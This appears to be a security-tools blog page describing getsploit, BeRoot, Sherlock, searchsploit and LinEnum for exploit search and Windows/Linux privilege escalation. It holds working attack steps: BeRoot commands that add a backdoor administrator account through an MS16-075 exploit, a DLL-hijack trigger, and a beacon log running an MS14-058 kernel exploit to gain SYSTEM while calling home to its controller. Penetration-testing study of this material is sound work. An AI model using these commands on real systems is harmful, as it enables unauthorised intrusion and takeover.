getsploit - Command line utility for searching and downloading exploits

Command line search and download tool for Vulners Database inspired by searchsploit. It allows you to search online for the exploits across all the most popular collections: Exploit-DB, Metasploit, Packetstorm and others. The most powerful feature is immediate exploit source download right in your working path.

Python version
Utility was tested on a python2.6, python2.7, python3.6. If you found any bugs, don't hesitate to open issue

How to use

Search

# git clone https://github.com/vulnersCom/getsploit
# cd getsploit
# ./getsploit.py wordpress 4.7.0
Total found exploits: 8
Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit%20AND%20wordpress%204.7.0
+----------------------+--------------------------------+----------------------------------------------------+
|          ID          |         Exploit Title          |                        URL                         |
+======================+================================+====================================================+
|  PACKETSTORM:141039  | WordPress 4.7.0 / 4.7.1 Insert | https://vulners.com/packetstorm/PACKETSTORM:141039 |
|                      | PHP Code Injection             |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|     EDB-ID:41308     | WordPress 4.7.0/4.7.1 Plugin   |     https://vulners.com/exploitdb/EDB-ID:41308     |
|                      | Insert PHP - PHP Code          |                                                    |
|                      | Injection                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|     EDB-ID:41223     | WordPress 4.7.0/4.7.1 -        |     https://vulners.com/exploitdb/EDB-ID:41223     |
|                      | Unauthenticated Content        |                                                    |
|                      | Injection (PoC)                |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|  PACKETSTORM:140893  | WordPress 4.7.0 / 4.7.1 REST   | https://vulners.com/packetstorm/PACKETSTORM:140893 |
|                      | API Privilege Escalation       |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|  PACKETSTORM:140902  | WordPress 4.7.0 / 4.7.1        | https://vulners.com/packetstorm/PACKETSTORM:140902 |
|                      | Content Injection / Code       |                                                    |
|                      | Execution                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|  PACKETSTORM:140901  | WordPress 4.7.0 / 4.7.1        | https://vulners.com/packetstorm/PACKETSTORM:140901 |
|                      | Content Injection Proof Of     |                                                    |
|                      | Concept                        |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|     EDB-ID:41224     | WordPress 4.7.0/4.7.1 -        |     https://vulners.com/exploitdb/EDB-ID:41224     |
|                      | Unauthenticated Content        |                                                    |
|                      | Injection Arbitrary Code       |                                                    |
|                      | Execution                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|      SSV-92637       | WordPress REST API content     |        https://vulners.com/seebug/SSV-92637        |
|                      | injection                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+

Save exploit files

# ./getsploit.py -m wordpress 4.7.0
Total found exploits: 8
Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit%20AND%20wordpress%204.7.0
+----------------------+--------------------------------+----------------------------------------------------+
|          ID          |         Exploit Title          |                        URL                         |
+======================+================================+====================================================+
|  PACKETSTORM:141039  | WordPress 4.7.0 / 4.7.1 Insert | https://vulners.com/packetstorm/PACKETSTORM:141039 |
|                      | PHP Code Injection             |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|     EDB-ID:41308     | WordPress 4.7.0/4.7.1 Plugin   |     https://vulners.com/exploitdb/EDB-ID:41308     |
|                      | Insert PHP - PHP Code          |                                                    |
|                      | Injection                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|     EDB-ID:41223     | WordPress 4.7.0/4.7.1 -        |     https://vulners.com/exploitdb/EDB-ID:41223     |
|                      | Unauthenticated Content        |                                                    |
|                      | Injection (PoC)                |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|  PACKETSTORM:140893  | WordPress 4.7.0 / 4.7.1 REST   | https://vulners.com/packetstorm/PACKETSTORM:140893 |
|                      | API Privilege Escalation       |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|  PACKETSTORM:140902  | WordPress 4.7.0 / 4.7.1        | https://vulners.com/packetstorm/PACKETSTORM:140902 |
|                      | Content Injection / Code       |                                                    |
|                      | Execution                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|  PACKETSTORM:140901  | WordPress 4.7.0 / 4.7.1        | https://vulners.com/packetstorm/PACKETSTORM:140901 |
|                      | Content Injection Proof Of     |                                                    |
|                      | Concept                        |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|     EDB-ID:41224     | WordPress 4.7.0/4.7.1 -        |     https://vulners.com/exploitdb/EDB-ID:41224     |
|                      | Unauthenticated Content        |                                                    |
|                      | Injection Arbitrary Code       |                                                    |
|                      | Execution                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+
|      SSV-92637       | WordPress REST API content     |        https://vulners.com/seebug/SSV-92637        |
|                      | injection                      |                                                    |
+----------------------+--------------------------------+----------------------------------------------------+

# ls
LICENSE         README.md       getsploit.py    wordpress-470
# cd wordpress-470
# ls
edb-id41223.txt         edb-id41224.txt         edb-id41308.txt         packetstorm140893.txt   packetstorm140901.txt   packetstorm140902.txt   packetstorm141039.txt   ssv-92637.txt

Local database
If your Python supports sqlite3 lib(builtin) you can use --update and --local commands to download whole exploit database to your PC. After update you can perform local offline searches.

# ./getsploit.py --update
Downloading getsploit database archive. Please wait, it may take time. Usually around 5-10 minutes.
219642496/219642496 [100.00%]
Unpacking database.
Database download complete. Now you may search exploits using --local key './getsploit.py -l wordpress 4.7'

Download getsploit

Read More

BeRoot - Windows Privilege Escalation Tool

BeRoot(s) is a post exploitation tool to check commun Windows misconfigurations to find a way to escalate our privilege. 

A compiled version is available here.

It will be added to the pupy project as a post exploitation module (so it will be executed all in memory without touching the disk).

Except one method, this tool is only used to detect and not to exploit. If something is found, templates could be used to exploit it. To use it, just create a test.bat file located next to the service / DLL used. It should execute it once called. Depending on the Redistributable Packages installed on the target host, these binaries may not work.

Run it

|====================================================================|
|                                                                    |
|                    Windows Privilege Escalation                    |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|


usage: beRoot.exe [-h] [-l] [-w] [-c CMD]

Windows Privilege Escalation

optional arguments:
  -h, --help         show this help message and exit
  -l, --list         list all softwares installed (not run by default)
  -w, --write        write output
  -c CMD, --cmd CMD  cmd to execute for the webclient check (default: whoami)

All detection methods are described on the following document.

Path containing space without quotes
Consider the following file path:

C:\Program Files\Some Test\binary.exe

If the path contains spaces and no quotes, Windows would try to locate and execute programs in the following order:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\binary.exe

Following this example, if "C:\" folder is writeable, it would be possible to create a malicious executable binary called "Program.exe". If "binary.exe" run with high privilege, it could be a good way to escalate our privilege.
Note: BeRoot realized these checks on every service path, scheduled tasks and startup keys located in HKLM.
How to exploit:

The vulnerable path runs as:

• a service: create a malicious service (or compile the service template)
• a classic executable: Create your own executable.

Writeable directory
Consider the following file path:

C:\Program Files\Some Test\binary.exe

If the root directory of "binary.exe" is writeable ("C:\Program Files\Some Test") and run with high privilege, it could be used to elevate our privileges.
Note: BeRoot realized these checks on every service path, scheduled tasks and startup keys located in HKLM.
How to exploit:

• The service is not running:
  
  • Replace the legitimate service by our own, restart it or check how it's triggered (at reboot, when another process is started, etc.).
• The service is running and could not be stopped:
  
  • Most exploitation will be like that, checks for dll hijacking and try to restart the service using previous technics.

Writeable directory on %PATH%
This technic affects the following Windows version:

6.0  =>  Windows Vista / Windows Server 2008
6.1  =>  Windows 7 / Windows Server 2008 R2
6.2  =>  Windows 8 / Windows Server 2012

On a classic Windows installation, when DLLs are loaded by a binary, Windows would try to locate it using these following steps:

- Directory where the binary is located
- C:\Windows\System32
- C:\Windows\System
- C:\Windows\
- Current directory where the binary has been launched
- Directory present in %PATH% environment variable

If a directory on the %PATH% variable is writeable, it would be possible to realize DLL hijacking attacks. Then, the goal would be to find a service which loads a DLL not present on each of these path. This is the case of the default "IKEEXT" service which loads the inexistant "wlbsctrl.dll".
How to exploit: Create a malicious DLL called "wlbsctrl.dll" (use the DLL template) and add it to the writeable path listed on the %PATH% variable. Start the service "IKEEXT". To start the IKEEXT service without high privilege, a technic describe on the french magazine MISC 90 explains the following method:
Create a file as following:

C:\Users\bob\Desktop>type test.txt
[IKEEXTPOC]
MEDIA=rastapi
Port=VPN2-0
Device=Wan Miniport (IKEv2)
DEVICE=vpn
PhoneNumber=127.0.0.1

Use the "rasdial" binary to start the IKEEXT service. Even if the connection failed, the service should have been started.

C:\Users\bob\Desktop>rasdial IKEEXTPOC test test /PHONEBOOK:test.txt

MS16-075
For French user, I recommend the article written on the MISC 90 which explain in details how it works.
This vulnerability has been corrected by Microsoft with MS16-075, however many servers are still vulnerable to this kind of attack. I have been inspired from the C++ POC available here
Here are some explaination (not in details):

1. Start Webclient service (used to connect to some shares) using some magic tricks (using its UUID)
2. Start an HTTP server locally
3. Find a service which will be used to trigger a SYSTEM NTLM hash.
4. Enable file tracing on this service modifying its registry key to point to our webserver (\\127.0.0.1@port\tracing)
5. Start this service
6. Our HTTP Server start a negotiation to get the SYSTEM NTLM hash
7. Use of this hash with SMB to execute our custom payload (SMBrelayx has been modify to realize this action)
8. Clean everything (stop the service, clean the regritry, etc.).

How to exploit: BeRoot realize this exploitation, change the "-c" option to execute custom command on the vulnerable host.

beRoot.exe -c "net user Zapata LaLuchaSigue /add"
beRoot.exe -c "net localgroup Administrators Zapata /add"

AlwaysInstallElevated registry key
AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. To allow it, two registry entries have to be set to 1:

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

How to exploit: create a malicious msi binary and execute it.

Unattended Install files
This file contains all the configuration settings that were set during the installation process, some of which can include the configuration of local accounts including Administrator accounts. These files are available on these following path:

C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml 
C:\Windows\System32\Sysprep\Panther\unattend.xml

How to exploit: open the unattend.xml file to check if passwords are present on it. Should looks like:

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>RmFrZVBhc3N3MHJk</Value>
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>

Other possible misconfigurations
Other tests are realized to check if it's possible to:

• Modify an existing service
• Create a new service
• Modify a startup key (on HKLM)
• Modify directory where all scheduled tasks are stored: "C:\Windows\system32\Tasks"

Special thanks

• Good description of each checks: https://toshellandback.com/2015/11/24/ms-priv-esc/
• C++ POC: https://github.com/secruul/SysExec
• Impacket as always, awesome work: https://github.com/CoreSecurity/impacket/

Download BeRoot

Read More

Sherlock - Tool to find missing Windows patches for Local Privilege Escalation Vulnerabilities

PowerShell script to quickly find missing Microsoft patches for local privilege escalation vulnerabilities.

Currently looks for:

• MS10-015 : User Mode to Ring (KiTrap0D)
• MS10-092 : Task Scheduler
• MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
• MS13-081 : TrackPopupMenuEx Win32k NULL Page
• MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
• MS15-051 : ClientCopyImage Win32k
• MS15-078 : Font Driver Buffer Overflow
• MS16-016 : 'mrxdav.sys' WebDAV
• MS16-032 : Secondary Logon Handle

Tested on:

• Windows 7 SP1 32-bit
• Windows 7 SP1 64-bit
• Windows 8 64-bit
• Windows 10 64-bit

Basic Usage:

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta

beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes

beacon> powershell Find-AllVulns
[*] Tasked beacon to run: Find-AllVulns
[+] host called home, sent: 21 bytes
[+] received output:


Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[+] host called home, sent: 105015 bytes
[+] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module \SystemRoot\system32\ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...

[+] host called home, sent: 204885 bytes
[+] established link to child beacon: 192.168.56.105

[+] established link to parent beacon: 192.168.56.105
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

Download Sherlock

Read More

Exploit Database - The official Exploit Database Repository

The Exploit Database is an archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Its aim is to serve as the most comprehensive collection of exploits gathered through direct submissions, mailing lists, and other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.

This repository is updated daily with the most recently added submissions. Any additional resources can be found in our binary sploits repository.

Included with this repository is the searchsploit utility, which will allow you to search through the exploits using one or more terms. For more information, please see the SearchSploit manual.

root@kali:~# searchsploit -h
  Usage: searchsploit [options] term1 [term2] ... [termN]

==========
 Examples
==========
  searchsploit afd windows local
  searchsploit -t oracle windows
  searchsploit -p 39446

=========
 Options
=========
   -c, --case     [Term]      Perform a case-sensitive search (Default is inSEnsITiVe).
   -e, --exact    [Term]      Perform an EXACT match on exploit title (Default is AND) [Implies "-t"].
   -h, --help                 Show this help screen.
   -j, --json     [Term]      Show result in JSON format.
   -m, --mirror   [EDB-ID]    Mirror (aka copies) an exploit to the current working directory.
   -o, --overflow [Term]      Exploit titles are allowed to overflow their columns.
   -p, --path     [EDB-ID]    Show the full path to an exploit (and also copies the path to the clipboard if possible).
   -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file's path).
   -u, --update               Check for and install any exploitdb package updates (deb or git).
   -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path.
   -x, --examine  [EDB-ID]    Examine (aka opens) the exploit using $PAGER.
       --colour               Disable colour highlighting in search results.
       --id                   Display the EDB-ID value rather than local path.
       --nmap     [file.xml]  Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
                              Use "-v" (verbose) to try even more combinations
=======
 Notes
=======
 * You can use any number of search terms.
 * Search terms are not case-sensitive (by default), and ordering is irrelevant.
   * Use '-c' if you wish to reduce results by case-sensitive searching.
   * And/Or '-e' if you wish to filter results by using an exact match.
 * Use '-t' to exclude the file's path to filter the search results.
   * Remove false positives (especially when searching using numbers - i.e. versions).
 * When updating from git or displaying help, search terms will be ignored.

root@kali:~#
root@kali:~# searchsploit afd windows local
--------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                   |  Path
                                                                                 | (/usr/share/exploitdb/platforms)
--------------------------------------------------------------------------------- ----------------------------------
Microsoft Windows XP - 'afd.sys' Local Kernel Denial of Service                  | ./windows/dos/17133.c
Microsoft Windows 2003/XP - 'afd.sys' Privilege Escalation (K-plugin) (MS08-066) | ./windows/local/6757.txt
Microsoft Windows XP/2003 - 'afd.sys' Privilege Escalation (MS11-080)            | ./windows/local/18176.py
Microsoft Windows - 'AfdJoinLeaf' Privilege Escalation (MS11-080) (Metasploit)   | ./windows/local/21844.rb
Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)   | ./win_x86/local/39446.py
Microsoft Windows 7 (x64) - 'afd.sys' Privilege Escalation (MS14-040)            | ./win_x86-64/local/39525.py
Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046)              | ./windows/local/40564.c
--------------------------------------------------------------------------------- ----------------------------------
root@kali:~#
root@kali:~# searchsploit -p 39446
Exploit: Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)
    URL: https://www.exploit-db.com/exploits/39446/
   Path: /usr/share/exploitdb/platforms/win_x86/local/39446.py

Copied EDB-ID 39446's path to the clipboard.

root@kali:~#

SearchSploit requires either "CoreUtils" or "utilities" (e.g. bash, sed, grep, awk, etc.) for the core features to work. The self updating function will require git, and the Nmap XML option to work, will require xmllint (found in the libxml2-utils package in Debian-based systems).

Download Exploit Database

Read More

LinEnum - Local Linux Enumeration & Privilege Escalation Checks

LinEnum will automate many of the checks that I’ve documented in the Local Linux Enumeration & Privilege Escalation Cheatsheet. It’s a very basic shell script that performs over 65 checks, getting anything from kernel information to locating possible escalation points such as potentially useful SUID/GUID files and Sudo/rhost mis-configurations and more.

An additional ‘extra’ feature is that the script will also use a provided keyword to search through *.conf and *.log files. Any matches will be displayed along with the full file path and line number on which the keyword was identified.

After the scan has completed (please be aware that it make take some time) you’ll be presented with (possibly quite extensive) output, to which any key findings will be highlighted in yellow with everything else documented under the relevant headings.

Below is a high-level summary of the checks/tasks performed by LinEnum:

• Kernel and distribution release details
• System Information:
  • Hostname
  • Networking details:
    • Current IP
    • Default route details
    • DNS server information
• User Information:
  • Current user details
  • Last logged on users
  • Llist all users including uid/gid information
  • List root accounts
  • Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc
  • Attempt to read restricted files i.e. /etc/shadow
  • List current users history files (i.e .bash_history, .nano_history etc.)
• Privileged access:
  • Determine if /etc/sudoers is accessible
  • Determine if the current user has Sudo access without a password
  • Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.)
  • Is root’s home directory accessible
  • List permissions for /home/
• Environmental:
  • Display current $PATH
• Jobs/Tasks:
  • List all cron jobs
  • Locate all world-writable cron jobs
  • Locate cron jobs owned by other users of the system
• Services:
  • List network connections (TCP & UDP)
  • List running processes
  • Lookup and list process binaries and associated permissions
  • List inetd.conf/xined.conf contents and associated binary file permissions
  • List init.d binary permissions
• Version Information (of the following):
  • Sudo
  • MYSQL
  • Postgres
  • Apache
• Default/Weak Credentials:
  • Checks for default/weak Postgres accounts
  • Checks for default root/root access to local MYSQL services
• Searches:
  • Locate all SUID/GUID files
  • Locate all world-writable SUID/GUID files
  • Locate all SUID/GUID files owned by root
  • Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc)
  • List all world-writable files
  • Find/list all accessible *.plan files and display contents
  • Find/list all accesible *.rhosts files and display contents
  • Show NFS server details
  • Locate *.conf and *.log files containing keyword supplied at script runtime
  • List all *.conf files located in /etc
  • Locate mail

Some of the above commands are privileged/and or the related task may be nonexistent and will therefore most likely fail. The user shouldn’t be alerted to failed results, just the output from successful commands should be displayed.

Download LinEnum

Read More

[LinEnum] Scripted Local Linux Enumeration & Privilege Escalation Checks

High-level summary of the checks/tasks performed by LinEnum:

• Kernel and distribution release details
• System Information:
  • Hostname
  • Networking details:
  • Current IP
  • Default route details
  • DNS server information
• User Information:
  • Current user details
  • Last logged on users
  • List all users including uid/gid information
  • List root accounts
  • Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc
  • Attempt to read restricted files i.e. /etc/shadow
  • List current users history files (i.e .bash_history, .nano_history etc.)
• Privileged access:
  • Determine if /etc/sudoers is accessible
  • Determine if the current user has Sudo access without a password
  • Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.)
  • Is root’s home directory accessible
  • List permissions for /home/
• Environmental:
  • Display current $PATH
• Jobs/Tasks:
  • List all cron jobs
  • Locate all world-writable cron jobs
  • Locate cron jobs owned by other users of the system
• Services:
  • List network connections (TCP & UDP)
  • List running processes
  • Lookup and list process binaries and associated permissions
  • List inetd.conf/xined.conf contents and associated binary file permissions
  • List init.d binary permissions
• Version Information (of the following):
  • Sudo
  • MYSQL
  • Postgres
  • Apache
• Default/Weak Credentials:
  • Checks for default/weak Postgres accounts
  • Checks for default root/root access to local MYSQL services
• Searches:
• Locate all SUID/GUID files
• Locate all world-writable SUID/GUID files
• Locate all SUID/GUID files owned by root
• Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc)
• List all world-writable files
• Find/list all accessible *.plan files and display contents
• Find/list all accesible *.rhosts files and display contents
• Show NFS server details
• Locate *.conf and *.log files containing keyword supplied at script runtime
• List all *.conf files located in /etc
• Locate mail

Download LinEnum

Read More